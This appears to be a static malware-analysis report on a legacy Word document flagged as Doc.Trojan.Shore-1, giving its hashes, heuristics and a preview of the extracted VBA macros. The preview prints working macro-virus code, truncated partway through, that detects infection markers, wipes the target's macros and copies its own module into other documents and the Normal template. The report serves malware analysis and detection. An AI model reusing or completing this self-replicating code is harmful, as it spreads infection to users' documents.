Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 57cbdcc5a031bda7…

MALICIOUS

Office (OLE)

47.0 KB Created: 2001-03-16 13:32:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: dc3c64f4dfef567c2bb74e868b037e73 SHA-1: e33059c8dc4974bc6f09180763260f4549ceda1a SHA-256: 57cbdcc5a031bda7cd36950801c6848e059cf0ade93ea1735bec98084eb8d10d
260 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample exhibits high-severity heuristics for legacy WordBasic macro-virus markers and VBA macros, specifically AutoOpen and Auto_Close. ClamAV detections confirm this is a known malicious document, identified as Doc.Trojan.Shore-1. The VBA script, while obfuscated, contains numerous references to 'BLUE' and various Office macro procedures, suggesting it's designed to execute malicious actions upon opening.

Heuristics 5

  • ClamAV: Doc.Trojan.Shore-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Shore-1
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 33349 bytes
SHA-256: 9f10b177b511d1211051258f2c9967cfa87406ef567293df0202a319ad40127f
Detection
ClamAV: Doc.Trojan.Shore-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "BLUE"
'Public declaration
'
'
Public Const SeriesNumber = 29091979
Public Const ModuleName = "BLUE", mw = "Microsoft Word", _
        YOS = "Wild Yudha Blue", _
        Peace = "Rosa", _
        SerNum$ = "Series Number", _
        pass = "Password : ", _
        badboy = "Wanna be a bad boy....", _
        scrollCap = "Normal." & ModuleName & ".scrollCaption"

Public Const msg = "Dont even try to change my macro", _
        aaa = "§·_n˛__", bbb = "tasya", ccc = "justgoaway", _
        abadacc = "Bad access...", _
        code = "Anastasya", ddd = "noromance", eee = "Yudha"

Public anCap As String, anInt As Single, anPos As Integer, Animated As Boolean, _
        ToolsOptionsDlg As Dialog, _
        OrganizerDlg As Dialog, _
        ToolsTemplatesDlg As Dialog, _
        ToolsMacrosDlg As Dialog, _
        FormatStyleDlg As Dialog

'procedures in BLUE module
Sub Buggy()
Dim aDocProp As DocumentProperty
    For Each aDocProp In NormalTemplate.CustomDocumentProperties
        aDocProp.Delete
    Next aDocProp
    
    NormalTemplate.CustomDocumentProperties.Add _
            Name:=SerNum$, _
            Type:=msoPropertyTypeNumber, _
            Value:=SeriesNumber, _
            LinkToContent:=False
End Sub


Function getDocPropExist(theObject As Object) As Boolean
Dim adp As DocumentProperty
    getDocPropExist = False
    For Each adp In theObject.CustomDocumentProperties
    With adp
        If .Name = SerNum$ And .Type = msoPropertyTypeNumber And _
            .Value = SeriesNumber Then
            getDocPropExist = True
            Exit Function
        End If
    End With
    Next adp
End Function

Function getModuleExist(theObject As Object) As Boolean
Dim aDocProp As DocumentProperty
    getModuleExist = False
    For Each anObject In theObject.VBProject.VBComponents
        If anObject.Name = ModuleName Then
            getModuleExist = True
            Exit Function
        End If
    Next anObject
End Function
    
Function getInfected(theObject As Object) As Boolean
    getInfected = getModuleExist(theObject) And getDocPropExist(theObject)
End Function

Sub clearMacros(theObject As Object)
Dim aDocProp As DocumentProperty
    For Each anObject In theObject.VBProject.VBComponents
        If anObject.Name <> "ThisDocument" Then
            Application.OrganizerDelete Source:=theObject.FullName, _
            Name:=anObject.Name, Object:=wdOrganizerObjectProjectItems
        Else
            On Error Resume Next
            With anObject.codemodule
                .deletelines 1, .countoflines
            End With
        End If
    Next anObject
    
    For Each aDocProp In theObject.CustomDocumentProperties
        aDocProp.Delete
    Next aDocProp
End Sub

Sub copyMacros(theSource As Object, theDestination As Object)
Dim aDocProp As DocumentProperty
    If Not getDocPropExist(theDestination) Then _
        theDestination.CustomDocumentProperties.Add _
            Name:=SerNum$, _
            Type:=msoPropertyTypeNumber, _
            Value:=SeriesNumber, _
            LinkToContent:=False

    On Error Resume Next
        Application.OrganizerCopy _
            Source:=theSource.FullName, _
            Destination:=theDestination.FullName, _
            Name:=ModuleName, _
            Object:=wdOrganizerObjectProjectItems
End Sub

Sub Infecting(theSource As Object, theDestination As Object)
    On Error Resume Next
    If Not getInfected(theDestination) Then
        Application.OrganizerRename _
            Source:=theDestination.FullName, _
            Name:=ModuleName, newname:="xxxx", _
            Object:=wdOrganizerObjectProjectItems
        clearMacros theDestination
        copyMacros theSource, theDestination
        On Error
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.